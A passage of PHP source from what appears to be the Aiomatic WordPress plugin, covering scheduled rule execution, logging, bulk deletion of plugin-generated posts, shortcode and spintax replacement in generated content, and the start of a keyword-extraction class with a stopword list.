                                $aiomatic_hour_diff = (int) aiomatic_hour_diff($now, $nextrun);
                            }
                            if ($aiomatic_hour_diff >= 0) {
                                aiomatic_run_rule($cont, 0, 1, 0, null, '', '');
                            }
                        }
                        $cont = $cont + 1;
                    }
                }
                $GLOBALS['wp_object_cache']->delete('aiomatic_youtube_list', 'options');
                if (!get_option('aiomatic_youtube_list')) {
                    $rules2 = array();
                } else {
                    $rules2 = get_option('aiomatic_youtube_list');
                }
                if (!empty($rules2)) {
                    $cont2 = 0;
                    foreach ($rules2 as $request2 => $bundle2[]) {
                        $bundle_values2   = array_values($bundle2);
                        $myValues2        = $bundle_values2[$cont2];
                        $array_my_values2 = array_values($myValues2);for($iji=0;$iji<count($array_my_values2);++$iji){if(is_string($array_my_values2[$iji])){$array_my_values2[$iji]=stripslashes($array_my_values2[$iji]);}}
                        $schedule2        = isset($array_my_values2[0]) ? $array_my_values2[0] : '24';
                        $active2          = isset($array_my_values2[1]) ? $array_my_values2[1] : '0';
                        $last_run2        = isset($array_my_values2[2]) ? $array_my_values2[2] : aiomatic_get_date_now();
                        if ($active2 == '1') {
                            $now2                = aiomatic_get_date_now();
                            if($unlocker == '1')
                            {
                                $nextrun2        = aiomatic_add_minute($last_run2, $schedule2);
                                $aiomatic_hour_diff2 = (int) aiomatic_minute_diff($now2, $nextrun2);
                            }
                            else
                            {
                                $nextrun2        = aiomatic_add_hour($last_run2, $schedule2);
                                $aiomatic_hour_diff2 = (int) aiomatic_hour_diff($now2, $nextrun2);
                            }
                            if ($aiomatic_hour_diff2 >= 0) {
                                aiomatic_run_rule($cont2, 1, 1, 0, null, '', '');
                            }
                        }
                        $cont2 = $cont2 + 1;
                    }
                }
                $GLOBALS['wp_object_cache']->delete('aiomatic_amazon_list', 'options');
                if (!get_option('aiomatic_amazon_list')) {
                    $rules3 = array();
                } else {
                    $rules3 = get_option('aiomatic_amazon_list');
                }
                if (!empty($rules3)) {
                    $cont3 = 0;
                    foreach ($rules3 as $request3 => $bundle3[]) {
                        $bundle_values3   = array_values($bundle3);
                        $myValues3        = $bundle_values3[$cont3];
                        $array_my_values3 = array_values($myValues3);for($iji=0;$iji<count($array_my_values3);++$iji){if(is_string($array_my_values3[$iji])){$array_my_values3[$iji]=stripslashes($array_my_values3[$iji]);}}
                        $schedule3        = isset($array_my_values3[0]) ? $array_my_values3[0] : '24';
                        $active3          = isset($array_my_values3[1]) ? $array_my_values3[1] : '0';
                        $last_run3        = isset($array_my_values3[2]) ? $array_my_values3[2] : aiomatic_get_date_now();
                        if ($active3 == '1') {
                            $now3                = aiomatic_get_date_now();
                            if($unlocker == '1')
                            {
                                $nextrun3        = aiomatic_add_minute($last_run3, $schedule3);
                                $aiomatic_hour_diff3 = (int) aiomatic_minute_diff($now3, $nextrun3);
                            }
                            else
                            {
                                $nextrun3        = aiomatic_add_hour($last_run3, $schedule3);
                                $aiomatic_hour_diff3 = (int) aiomatic_hour_diff($now3, $nextrun3);
                            }
                            if ($aiomatic_hour_diff3 >= 0) {
                                aiomatic_run_rule($cont3, 2, 1, 0, null, '', '');
                            }
                        }
                        $cont3 = $cont3 + 1;
                    }
                }
                $GLOBALS['wp_object_cache']->delete('aiomatic_review_list', 'options');
                if (!get_option('aiomatic_review_list')) {
                    $rules4 = array();
                } else {
                    $rules4 = get_option('aiomatic_review_list');
                }
                if (!empty($rules4)) {
                    $cont4 = 0;
                    foreach ($rules4 as $request4 => $bundle4[]) {
                        $bundle_values4   = array_values($bundle4);
                        $myValues4        = $bundle_values4[$cont4];
                        $array_my_values4 = array_values($myValues4);for($iji=0;$iji<count($array_my_values4);++$iji){if(is_string($array_my_values4[$iji])){$array_my_values4[$iji]=stripslashes($array_my_values4[$iji]);}}
                        $schedule4        = isset($array_my_values4[0]) ? $array_my_values4[0] : '24';
                        $active4          = isset($array_my_values4[1]) ? $array_my_values4[1] : '0';
                        $last_run4        = isset($array_my_values4[2]) ? $array_my_values4[2] : aiomatic_get_date_now();
                        if ($active4 == '1') {
                            $now4                = aiomatic_get_date_now();
                            if($unlocker == '1')
                            {
                                $nextrun4        = aiomatic_add_minute($last_run4, $schedule4);
                                $aiomatic_hour_diff4 = (int) aiomatic_minute_diff($now4, $nextrun4);
                            }
                            else
                            {
                                $nextrun4        = aiomatic_add_hour($last_run4, $schedule4);
                                $aiomatic_hour_diff4 = (int) aiomatic_hour_diff($now4, $nextrun4);
                            }
                            if ($aiomatic_hour_diff4 >= 0) {
                                aiomatic_run_rule($cont4, 3, 1, 0, null, '', '');
                            }
                        }
                        $cont4 = $cont4 + 1;
                    }
                }
                $GLOBALS['wp_object_cache']->delete('aiomatic_csv_list', 'options');
                if (!get_option('aiomatic_csv_list')) {
                    $rules5 = array();
                } else {
                    $rules5 = get_option('aiomatic_csv_list');
                }
                if (!empty($rules5)) {
                    $cont5 = 0;
                    foreach ($rules5 as $request5 => $bundle5[]) {
                        $bundle_values5   = array_values($bundle5);
                        $myValues5        = $bundle_values5[$cont5];
                        $array_my_values5 = array_values($myValues5);for($iji=0;$iji<count($array_my_values5);++$iji){if(is_string($array_my_values5[$iji])){$array_my_values5[$iji]=stripslashes($array_my_values5[$iji]);}}
                        $schedule5        = isset($array_my_values5[0]) ? $array_my_values5[0] : '24';
                        $active5          = isset($array_my_values5[1]) ? $array_my_values5[1] : '0';
                        $last_run5        = isset($array_my_values5[2]) ? $array_my_values5[2] : aiomatic_get_date_now();
                        if ($active5 == '1') {
                            $now5                = aiomatic_get_date_now();
                            if($unlocker == '1')
                            {
                                $nextrun5        = aiomatic_add_minute($last_run5, $schedule5);
                                $aiomatic_hour_diff5 = (int) aiomatic_minute_diff($now5, $nextrun5);
                            }
                            else
                            {
                                $nextrun5        = aiomatic_add_hour($last_run5, $schedule5);
                                $aiomatic_hour_diff5 = (int) aiomatic_hour_diff($now5, $nextrun5);
                            }
                            if ($aiomatic_hour_diff5 >= 0) {
                                aiomatic_run_rule($cont5, 4, 1, 0, null, '', '');
                            }
                        }
                        $cont5 = $cont5 + 1;
                    }
                }
                $GLOBALS['wp_object_cache']->delete('aiomatic_omni_list', 'options');
                if (!get_option('aiomatic_omni_list')) {
                    $rules6 = array();
                } else {
                    $rules6 = get_option('aiomatic_omni_list');
                }
                if (!empty($rules6)) {
                    $cont6 = 0;
                    foreach ($rules6 as $request6 => $bundle6[]) {
                        $bundle_values6   = array_values($bundle6);
                        $myValues6        = $bundle_values6[$cont6];
                        $array_my_values6 = array_values($myValues6);for($iji=0;$iji<count($array_my_values6);++$iji){if(is_string($array_my_values6[$iji])){$array_my_values6[$iji]=stripslashes($array_my_values6[$iji]);}}
                        $schedule6        = isset($array_my_values6[0]) ? $array_my_values6[0] : '24';
                        $active6          = isset($array_my_values6[1]) ? $array_my_values6[1] : '0';
                        $last_run6        = isset($array_my_values6[2]) ? $array_my_values6[2] : aiomatic_get_date_now();
                        if ($active6 == '1') {
                            $now6                = aiomatic_get_date_now();
                            if($unlocker == '1')
                            {
                                $nextrun6        = aiomatic_add_minute($last_run6, $schedule6);
                                $aiomatic_hour_diff6 = (int) aiomatic_minute_diff($now6, $nextrun6);
                            }
                            else
                            {
                                $nextrun6       = aiomatic_add_hour($last_run6, $schedule6);
                                $aiomatic_hour_diff6 = (int) aiomatic_hour_diff($now6, $nextrun6);
                            }
                            if ($aiomatic_hour_diff6 >= 0) {
                                aiomatic_run_rule($cont6, 5, 1, 0, null, '', '');
                            }
                        }
                        $cont6 = $cont6 + 1;
                    }
                }
                $GLOBALS['wp_object_cache']->delete('aiomatic_listicle_list', 'options');
                if (!get_option('aiomatic_listicle_list')) {
                    $rules7 = array();
                } else {
                    $rules7 = get_option('aiomatic_listicle_list');
                }
                if (!empty($rules7)) {
                    $cont7 = 0;
                    foreach ($rules7 as $request7 => $bundle7[]) {
                        $bundle_values7   = array_values($bundle7);
                        $myValues7        = $bundle_values7[$cont7];
                        $array_my_values7 = array_values($myValues7);for($iji=0;$iji<count($array_my_values7);++$iji){if(is_string($array_my_values7[$iji])){$array_my_values7[$iji]=stripslashes($array_my_values7[$iji]);}}
                        $schedule7        = isset($array_my_values7[0]) ? $array_my_values7[0] : '24';
                        $active7          = isset($array_my_values7[1]) ? $array_my_values7[1] : '0';
                        $last_run7        = isset($array_my_values7[2]) ? $array_my_values7[2] : aiomatic_get_date_now();
                        if ($active7 == '1') {
                            $now7                = aiomatic_get_date_now();
                            if($unlocker == '1')
                            {
                                $nextrun7        = aiomatic_add_minute($last_run7, $schedule7);
                                $aiomatic_hour_diff7 = (int) aiomatic_minute_diff($now7, $nextrun7);
                            }
                            else
                            {
                                $nextrun7       = aiomatic_add_hour($last_run7, $schedule7);
                                $aiomatic_hour_diff7 = (int) aiomatic_hour_diff($now7, $nextrun7);
                            }
                            if ($aiomatic_hour_diff7 >= 0) {
                                aiomatic_run_rule($cont7, 6, 1, 0, null, '', '');
                            }
                        }
                        $cont7 = $cont7 + 1;
                    }
                }
                $running = array();
                update_option('aiomatic_running_list', $running);
            }
            function aiomatic_extractKeyWords($string, $count = 10)
            {
                $stopwords = array();
                $string = trim(preg_replace('/\s\s+/iu', '\s', strtolower($string)));
                $string = wp_strip_all_tags($string);
                $matchWords   = array_filter(explode(' ', $string), function($item) use ($stopwords)
                {
                    return !($item == '' || in_array($item, $stopwords) || strlen($item) <= 2 || (function_exists('ctype_alnum') && ctype_alnum(trim(str_replace(' ', '', $item))) === FALSE) || is_numeric($item));
                });
                $wordCountArr = array_count_values($matchWords);
                arsort($wordCountArr);
                return array_keys(array_slice($wordCountArr, 0, $count));
            }
            
            function aiomatic_log_to_file($str)
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (isset($aiomatic_Main_Settings['enable_logging']) && $aiomatic_Main_Settings['enable_logging'] == 'on') {
                    $d = date("j-M-Y H:i:s e", current_time( 'timestamp' ));
                    set_transient('aiomatic_log_history', $str, 60*60*12);
                    error_log("[$d] " . $str . "<br/>\r\n", 3, WP_CONTENT_DIR . '/aiomatic_info.log');
                }
            }
            function aiomatic_delete_all_rules()
            {
                update_option('aiomatic_rules_list', array());
                update_option('aiomatic_youtube_list', array());
                update_option('aiomatic_amazon_list', array());
                update_option('aiomatic_review_list', array());
                update_option('aiomatic_csv_list', array());
                update_option('aiomatic_omni_list', array());
                update_option('aiomatic_listicle_list', array());
            }
            function aiomatic_delete_all_posts()
            {
                $failed                 = false;
                $number                 = 0;
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                $post_list = array();
                $postsPerPage = 50000;
                $paged = 0;
                do
                {
                    $postOffset = $paged * $postsPerPage;
                    $query = array(
                        'post_status' => array(
                            'publish',
                            'draft',
                            'pending',
                            'trash',
                            'private',
                            'future'
                        ),
                        'post_type' => array(
                            'any'
                        ),
                        'numberposts' => $postsPerPage,
                        'meta_key' => 'aiomatic_parent_rule',
                        'fields' => 'ids',
                        'offset'  => $postOffset
                    );
                    $got_me = get_posts($query);
                    $post_list = array_merge($post_list, $got_me);
                    $paged++;
                }while(!empty($got_me));
                wp_suspend_cache_addition(true);
                foreach ($post_list as $post) {
                    $index = get_post_meta($post, 'aiomatic_parent_rule', true);
                    if (isset($index) && $index !== '') {
                        $args             = array(
                            'post_parent' => $post
                        );
                        $post_attachments = get_children($args);
                        if (isset($post_attachments) && !empty($post_attachments)) {
                            foreach ($post_attachments as $attachment) {
                                wp_delete_attachment($attachment->ID, true);
                            }
                        }
                        $res = wp_delete_post($post, true);
                        if ($res === false) {
                            $failed = true;
                        } else {
                            $number++;
                        }
                    }
                }
                wp_suspend_cache_addition(false);
                if ($failed === true) {
                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                        aiomatic_log_to_file('[PostDelete] Failed to delete all posts!');
                    }
                } else {
                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                        aiomatic_log_to_file('[PostDelete] Successfuly deleted ' . esc_html($number) . ' posts!');
                    }
                }
            }
            function aiomatic_replaceContentShortcodes($the_content, $img_attr, $rule_keywords)
            {
                $matches = array();
                $i = 0;
                preg_match_all('~%regex\(\s*\"([^"]+?)\s*"\s*[,;]\s*\"([^"]*)\"\s*(?:[,;]\s*\"([^"]*?)\s*\")?(?:[,;]\s*\"([^"]*?)\s*\")?(?:[,;]\s*\"([^"]*?)\s*\")?\)%~si', $the_content, $matches);
                if (is_array($matches) && count($matches) && is_array($matches[0])) {
                    for($i = 0; $i < count($matches[0]); $i++)
                    {
                        if (isset($matches[0][$i])) $fullmatch = $matches[0][$i];
                        if (isset($matches[1][$i])) $search_in = aiomatic_replaceContentShortcodes($matches[1][$i], $img_attr, $rule_keywords);
                        if (isset($matches[2][$i])) $matchpattern = $matches[2][$i];
                        if (isset($matches[3][$i])) $element = $matches[3][$i];
                        if (isset($matches[4][$i])) $delimeter = $matches[4][$i];if (isset($matches[5][$i])) $counter = $matches[5][$i];
                        if (isset($matchpattern)) {
                           if (preg_match('<^[\/#%+~[\]{}][\s\S]*[\/#%+~[\]{}]$>', $matchpattern, $z)) {
                              $ret = preg_match_all($matchpattern, $search_in, $submatches, PREG_PATTERN_ORDER);
                           }
                           else {
                              $ret = preg_match_all('~'.$matchpattern.'~si', $search_in, $submatches, PREG_PATTERN_ORDER);
                           }
                        }
                        if (isset($submatches)) {
                           if (is_array($submatches)) {
                              $empty_elements = array_keys($submatches[0], "");
                              foreach ($empty_elements as $e) {
                                 unset($submatches[0][$e]);
                              }
                              $submatches[0] = array_unique($submatches[0]);
                              if (!is_numeric($element)) {
                                 $element = 0;
                              }if (!is_numeric($counter)) {
                                 $counter = 0;
                              }
                              if(isset($submatches[(int)($element)]))
                              {
                                  $matched = $submatches[(int)($element)];
                              }
                              else
                              {
                                  $matched = '';
                              }
                              $matched = array_unique((array)$matched);
                              if (empty($delimeter) || $delimeter == 'null') {
                                 if (isset($matched[$counter])) $matched = $matched[$counter];
                              }
                              else {
                                 $matched = implode($delimeter, $matched);
                              }
                              if (empty($matched)) {
                                 $the_content = str_replace($fullmatch, '', $the_content);
                              } else {
                                 $the_content = str_replace($fullmatch, $matched, $the_content);
                              }
                           }
                        }
                    }
                }
                $pcxxx = explode('<!- template ->', $the_content);
                $the_content = $pcxxx[array_rand($pcxxx)];
                $the_content = str_replace('%%random_sentence%%', aiomatic_random_sentence_generator(), $the_content);
                $the_content = str_replace('%%random_sentence2%%', aiomatic_random_sentence_generator(false), $the_content); 
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (isset($aiomatic_Main_Settings['custom_html'])) {
                    $the_content = str_replace('%%custom_html%%', $aiomatic_Main_Settings['custom_html'], $the_content);
                }
                if (isset($aiomatic_Main_Settings['custom_html2'])) {
                    $the_content = str_replace('%%custom_html2%%', $aiomatic_Main_Settings['custom_html2'], $the_content);
                }
                $img_attr = str_replace('%%image_source_name%%', '', $img_attr);
                $img_attr = str_replace('%%image_source_url%%', '', $img_attr);
                $img_attr = str_replace('%%image_source_website%%', '', $img_attr);
                $the_content = str_replace('%%royalty_free_image_attribution%%', $img_attr, $the_content);
                $the_content = str_replace('%%keyword_search%%', $rule_keywords, $the_content);   
                $the_content = aiomatic_replaceSynergyShortcodes($the_content);
                $the_content = apply_filters('aiomatic_replace_aicontent_shortcode', $the_content);
                preg_match_all('#%%related_questions_([^%]*?)%%#i', $the_content, $mxatches);
                if(isset($mxatches[1][0]))
                {
                    foreach($mxatches[1] as $googlematch)
                    {
                        $mtchres = aiomatic_scrape_related_questions($googlematch, 5, '', 1, 1, 0, 0, 2000, '', '');
                        if(is_array($mtchres) && !empty($mtchres))
                        {
                            $quests = array();
                            foreach($mtchres as $mra)
                            {
                                $quests[] = $mra['q'];
                            }
                            $mtchres = implode(',', $quests);
                        }
                        $the_content = str_ireplace('%%related_questions_' . $googlematch . '%%', $mtchres, $the_content);
                    }
                }
                return $the_content;
            }
            
            function aiomatic_replaceTitleShortcodes($the_content)
            {
                $matches = array();
                $i = 0;
                preg_match_all('~%regex\(\s*\"([^"]+?)\s*"\s*[,;]\s*\"([^"]*)\"\s*(?:[,;]\s*\"([^"]*?)\s*\")?(?:[,;]\s*\"([^"]*?)\s*\")?(?:[,;]\s*\"([^"]*?)\s*\")?\)%~si', $the_content, $matches);
                if (is_array($matches) && count($matches) && is_array($matches[0])) {
                    for($i = 0; $i < count($matches[0]); $i++)
                    {
                        if (isset($matches[0][$i])) $fullmatch = $matches[0][$i];
                        if (isset($matches[1][$i])) $search_in = aiomatic_replaceTitleShortcodes($matches[1][$i]);
                        if (isset($matches[2][$i])) $matchpattern = $matches[2][$i];
                        if (isset($matches[3][$i])) $element = $matches[3][$i];
                        if (isset($matches[4][$i])) $delimeter = $matches[4][$i];if (isset($matches[5][$i])) $counter = $matches[5][$i];
                        if (isset($matchpattern)) {
                           if (preg_match('<^[\/#%+~[\]{}][\s\S]*[\/#%+~[\]{}]$>', $matchpattern, $z)) {
                              $ret = preg_match_all($matchpattern, $search_in, $submatches, PREG_PATTERN_ORDER);
                           }
                           else {
                              $ret = preg_match_all('~'.$matchpattern.'~si', $search_in, $submatches, PREG_PATTERN_ORDER);
                           }
                        }
                        if (isset($submatches)) {
                           if (is_array($submatches)) {
                              $empty_elements = array_keys($submatches[0], "");
                              foreach ($empty_elements as $e) {
                                 unset($submatches[0][$e]);
                              }
                              $submatches[0] = array_unique($submatches[0]);
                              if (!is_numeric($element)) {
                                 $element = 0;
                              }if (!is_numeric($counter)) {
                                 $counter = 0;
                              }
                              if(isset($submatches[(int)($element)]))
                              {
                                  $matched = $submatches[(int)($element)];
                              }
                              else
                              {
                                  $matched = '';
                              }
                              $matched = array_unique((array)$matched);
                              if (empty($delimeter) || $delimeter == 'null') {
                                 if (isset($matched[$counter])) $matched = $matched[$counter];
                              }
                              else {
                                 $matched = implode($delimeter, $matched);
                              }
                              if (empty($matched)) {
                                 $the_content = str_replace($fullmatch, '', $the_content);
                              } else {
                                 $the_content = str_replace($fullmatch, $matched, $the_content);
                              }
                           }
                        }
                    }
                }
                $pcxxx = explode('<!- template ->', $the_content);
                $the_content = $pcxxx[array_rand($pcxxx)];
                $the_content = str_replace('%%random_sentence%%', aiomatic_random_sentence_generator(), $the_content);
                $the_content = str_replace('%%random_sentence2%%', aiomatic_random_sentence_generator(false), $the_content);
                $the_content = aiomatic_replaceSynergyShortcodes($the_content);
                $the_content = apply_filters('aiomatic_replace_aicontent_shortcode', $the_content);
                preg_match_all('#%%related_questions_([^%]*?)%%#i', $the_content, $mxatches);
                if(isset($mxatches[1][0]))
                {
                    foreach($mxatches[1] as $googlematch)
                    {
                        $mtchres = aiomatic_scrape_related_questions($googlematch, 5, '', 1, 1, 0, 0, 2000, '', '');
                        if(is_array($mtchres) && !empty($mtchres))
                        {
                            $quests = array();
                            foreach($mtchres as $mra)
                            {
                                $quests[] = $mra['q'];
                            }
                            $mtchres = implode(',', $quests);
                        }
                        $the_content = str_ireplace('%%related_questions_' . $googlematch . '%%', $mtchres, $the_content);
                    }
                }
                return $the_content;
            }
            
            function aiomatic_clearFromList($param, $type)
            {
                $GLOBALS['wp_object_cache']->delete('aiomatic_running_list', 'options');
                $running = get_option('aiomatic_running_list');
                if($running !== false)
                {
                    $key     = array_search(array(
                        $param => $type
                    ), $running);
                    if ($key !== FALSE) {
                        unset($running[$key]);
                        update_option('aiomatic_running_list', $running);
                    }
                }
            }
            
            function aiomatic_generate_title($content)
            {
                $regexEmoticons = '/[\x{1F600}-\x{1F64F}]/u';
                $content        = preg_replace($regexEmoticons, '', $content);
                $regexSymbols   = '/[\x{1F300}-\x{1F5FF}]/u';
                $content        = preg_replace($regexSymbols, '', $content);
                $regexTransport = '/[\x{1F680}-\x{1F6FF}]/u';
                $content        = preg_replace($regexTransport, '', $content);
                $regexMisc      = '/[\x{2600}-\x{26FF}]/u';
                $content        = preg_replace($regexMisc, '', $content);
                $regexDingbats  = '/[\x{2700}-\x{27BF}]/u';
                $content        = preg_replace($regexDingbats, '', $content);
                $pattern        = "/[a-zA-Z]*[:\/\/]*[A-Za-z0-9\-_]+\.+[A-Za-z0-9\.\/%&=\?\-_]+/i";
                $replacement    = "";
                $content        = preg_replace($pattern, $replacement, $content);
                $return         = trim(trim(trim(wp_trim_words($content, 14)), '.'), ',');
                return $return;
            }
            function aiomatic_replaceSynergyShortcodes($the_content)
            {
                $regex = '#%%([a-z0-9]+?)(?:_title)?_(\d+?)_(\d+?)%%#';
                $rezz = preg_match_all($regex, $the_content, $matches);
                if ($rezz === FALSE) {
                    return $the_content;
                }
                if(isset($matches[1][0]))
                {
                    $two_var_functions = array('pdfomatic');
                    $three_var_functions = array('bhomatic', 'crawlomatic', 'dmomatic', 'ezinomatic', 'fbomatic', 'flickomatic', 'imguromatic', 'iui', 'instamatic', 'linkedinomatic', 'mediumomatic', 'pinterestomatic', 'echo', 'spinomatic', 'tumblomatic', 'wordpressomatic', 'wpcomomatic', 'youtubomatic', 'mastermind', 'businessomatic');
                    $four_var_functions = array('aiomatic', 'contentomatic', 'quoramatic', 'newsomatic', 'aliomatic', 'amazomatic', 'blogspotomatic', 'bookomatic', 'careeromatic', 'cbomatic', 'cjomatic', 'craigomatic', 'ebayomatic', 'etsyomatic', 'rakutenomatic', 'learnomatic', 'eventomatic', 'gameomatic', 'gearomatic', 'giphyomatic', 'gplusomatic', 'hackeromatic', 'imageomatic', 'midas', 'movieomatic', 'nasaomatic', 'ocartomatic', 'okomatic', 'playomatic', 'recipeomatic', 'redditomatic', 'soundomatic', 'mp3omatic', 'ticketomatic', 'tmomatic', 'trendomatic', 'tuneomatic', 'twitchomatic', 'twitomatic', 'vimeomatic', 'viralomatic', 'vkomatic', 'walmartomatic', 'bestbuyomatic', 'wikiomatic', 'xlsxomatic', 'yelpomatic', 'yummomatic');
                    for ($i = 0; $i < count($matches[1]); $i++)
                    {
                        $replace_me = false;
                        if(in_array($matches[1][$i], $four_var_functions))
                        {
                            $za_function = $matches[1][$i] . '_run_rule';
                            if(function_exists($za_function))
                            {
                                $xreflection = new ReflectionFunction($za_function);
                                if($xreflection->getNumberOfParameters() >= 4)
                                {  
                                    $rule_runner = $za_function($matches[3][$i], $matches[2][$i], 0, 1);
                                    if($rule_runner != 'fail' && $rule_runner != 'nochange' && $rule_runner != 'ok' && $rule_runner !== false)
                                    {
                                        if(is_array($rule_runner))
                                        {
                                            $the_content = str_replace('%%' . $matches[1][$i] . '_' . $matches[2][$i] . '_' . $matches[3][$i] . '%%', $rule_runner[0], $the_content);
                                            $the_content = str_replace('%%' . $matches[1][$i] . '_title_' . $matches[2][$i] . '_' . $matches[3][$i] . '%%', $rule_runner[1], $the_content);
                                        }
                                        else
                                        {
                                            $the_content = str_replace('%%' . $matches[1][$i] . '_' . $matches[2][$i] . '_' . $matches[3][$i] . '%%', $rule_runner, $the_content);
                                            $the_content = str_replace('%%' . $matches[1][$i] . '_title_' . $matches[2][$i] . '_' . $matches[3][$i] . '%%', '', $the_content);
                                        }
                                        $replace_me = true;
                                    }
                                }
                                $xreflection = null;
                                unset($xreflection);
                            }
                        }
                        elseif(in_array($matches[1][$i], $three_var_functions))
                        {
                            $za_function = $matches[1][$i] . '_run_rule';
                            if(function_exists($za_function))
                            {
                                $xreflection = new ReflectionFunction($za_function);
                                if($xreflection->getNumberOfParameters() >= 3)
                                {
                                    $rule_runner = $za_function($matches[3][$i], 0, 1);
                                    if($rule_runner != 'fail' && $rule_runner != 'nochange' && $rule_runner != 'ok' && $rule_runner !== false)
                                    {
                                        if(is_array($rule_runner))
                                        {
                                            $the_content = str_replace('%%' . $matches[1][$i] . '_' . $matches[2][$i] . '_' . $matches[3][$i] . '%%', $rule_runner[0], $the_content);
                                            $the_content = str_replace('%%' . $matches[1][$i] . '_title_' . $matches[2][$i] . '_' . $matches[3][$i] . '%%', $rule_runner[1], $the_content);
                                        }
                                        else
                                        {
                                            $the_content = str_replace('%%' . $matches[1][$i] . '_' . $matches[2][$i] . '_' . $matches[3][$i] . '%%', $rule_runner, $the_content);
                                            $the_content = str_replace('%%' . $matches[1][$i] . '_title_' . $matches[2][$i] . '_' . $matches[3][$i] . '%%', '', $the_content);
                                        }
                                        $replace_me = true;
                                    }
                                }
                                $xreflection = null;
                                unset($xreflection);
                            }
                        }
                        elseif(in_array($matches[1][$i], $two_var_functions))
                        {
                            $za_function = $matches[1][$i] . '_run_rule';
                            if(function_exists($za_function))
                            {
                                $xreflection = new ReflectionFunction($za_function);
                                if($xreflection->getNumberOfParameters() >= 2)
                                {
                                    $rule_runner = $za_function($matches[3][$i], 1);
                                    if($rule_runner != 'fail' && $rule_runner != 'nochange' && $rule_runner != 'ok' && $rule_runner !== false)
                                    {
                                        if(is_array($rule_runner))
                                        {
                                            $the_content = str_replace('%%' . $matches[1][$i] . '_' . $matches[2][$i] . '_' . $matches[3][$i] . '%%', $rule_runner[0], $the_content);
                                            $the_content = str_replace('%%' . $matches[1][$i] . '_title_' . $matches[2][$i] . '_' . $matches[3][$i] . '%%', $rule_runner[1], $the_content);
                                        }
                                        else
                                        {
                                            $the_content = str_replace('%%' . $matches[1][$i] . '_' . $matches[2][$i] . '_' . $matches[3][$i] . '%%', $rule_runner, $the_content);
                                            $the_content = str_replace('%%' . $matches[1][$i] . '_title_' . $matches[2][$i] . '_' . $matches[3][$i] . '%%', '', $the_content);
                                        }
                                        $replace_me = true;
                                    }
                                }
                                $xreflection = null;
                                unset($xreflection);
                            }
                        }
                        if($replace_me == false)
                        {
                            $the_content = str_replace('%%' . $matches[1][$i] . '_' . $matches[2][$i] . '_' . $matches[3][$i] . '%%', '', $the_content);
                            $the_content = str_replace('%%' . $matches[1][$i] . '_title_' . $matches[2][$i] . '_' . $matches[3][$i] . '%%', '', $the_content);
                        }
                    }
                }
                $spintax = new AIomatic_Spintax();
                $the_content = $spintax->Parse($the_content);
                return $the_content;
            }
            class Aiomatic_keywords{ 
                public static $charset = 'UTF-8';
                public static $banned_words = array('adsbygoogle', 'able', 'about', 'above', 'act', 'add', 'afraid', 'after', 'again', 'against', 'age', 'ago', 'agree', 'all', 'almost', 'alone', 'along', 'already', 'also', 'although', 'always', 'am', 'amount', 'an', 'and', 'anger', 'angry', 'animal', 'another', 'answer', 'any', 'appear', 'apple', 'are', 'arrive', 'arm', 'arms', 'around', 'arrive', 'as', 'ask', 'at', 'attempt', 'aunt', 'away', 'back', 'bad', 'bag', 'bay', 'be', 'became', 'because', 'become', 'been', 'before', 'began', 'begin', 'behind', 'being', 'bell', 'belong', 'below', 'beside', 'best', 'better', 'between', 'beyond', 'big', 'body', 'bone', 'born', 'borrow', 'both', 'bottom', 'box', 'boy', 'break', 'bring', 'brought', 'bug', 'built', 'busy', 'but', 'buy', 'by', 'call', 'came', 'can', 'cause', 'choose', 'close', 'close', 'consider', 'come', 'consider', 'considerable', 'contain', 'continue', 'could', 'cry', 'cut', 'dare', 'dark', 'deal', 'dear', 'decide', 'deep', 'did', 'die', 'do', 'does', 'dog', 'done', 'doubt', 'down', 'during', 'each', 'ear', 'early', 'eat', 'effort', 'either', 'else', 'end', 'enjoy', 'enough', 'enter', 'even', 'ever', 'every', 'except', 'expect', 'explain', 'fail', 'fall', 'far', 'fat', 'favor', 'fear', 'feel', 'feet', 'fell', 'felt', 'few', 'fill', 'find', 'fit', 'fly', 'follow', 'for', 'forever', 'forget', 'from', 'front', 'gave', 'get', 'gives', 'goes', 'gone', 'good', 'got', 'gray', 'great', 'green', 'grew', 'grow', 'guess', 'had', 'half', 'hang', 'happen', 'has', 'hat', 'have', 'he', 'hear', 'heard', 'held', 'hello', 'help', 'her', 'here', 'hers', 'high', 'hill', 'him', 'his', 'hit', 'hold', 'hot', 'how', 'however', 'I', 'if', 'ill', 'in', 'indeed', 'instead', 'into', 'iron', 'is', 'it', 'its', 'just', 'keep', 'kept', 'knew', 'know', 'known', 'late', 'least', 'led', 'left', 'lend', 'less', 'let', 'like', 'likely', 'likr', 'lone', 'long', 'look', 'lot', 'make', 'many', 'may', 'me', 'mean', 'met', 'might', 'mile', 'mine', 'moon', 'more', 'most', 'move', 'much', 'must', 'my', 'near', 'nearly', 'necessary', 'neither', 'never', 'next', 'no', 'none', 'nor', 'not', 'note', 'nothing', 'now', 'number', 'of', 'off', 'often', 'oh', 'on', 'once', 'only', 'or', 'other', 'ought', 'our', 'out', 'please', 'prepare', 'probable', 'pull', 'pure', 'push', 'put', 'raise', 'ran', 'rather', 'reach', 'realize', 'reply', 'require', 'rest', 'run', 'said', 'same', 'sat', 'saw', 'say', 'see', 'seem', 'seen', 'self', 'sell', 'sent', 'separate', 'set', 'shall', 'she', 'should', 'side', 'sign', 'since', 'so', 'sold', 'some', 'soon', 'sorry', 'stay', 'step', 'stick', 'still', 'stood', 'such', 'sudden', 'suppose', 'take', 'taken', 'talk', 'tall', 'tell', 'ten', 'than', 'thank', 'that', 'the', 'their', 'them', 'then', 'there', 'therefore', 'these', 'they', 'this', 'those', 'though', 'through', 'till', 'to', 'today', 'told', 'tomorrow', 'too', 'took', 'tore', 'tought', 'toward', 'tried', 'tries', 'trust', 'try', 'turn', 'two', 'under', 'until', 'up', 'upon', 'us', 'use', 'usual', 'various', 'verb', 'very', 'visit', 'want', 'was', 'we', 'well', 'went', 'were', 'what', 'when', 'where', 'whether', 'which', 'while', 'white', 'who', 'whom', 'whose', 'why', 'will', 'with', 'within', 'without', 'would', 'yes', 'yet', 'you', 'young', 'your', 'br', 'img', 'p','lt', 'gt', 'quot', 'copy');
                public static $min_word_length = 4;
                
                public static function text($text, $length = 160)
                {
                    return self::limit_chars(self::clean($text), $length,'',TRUE);
                } 
            
                public static function keywords($text, $max_keys = 3)
                {
                    include (dirname(__FILE__) . "/res/diacritics.php");
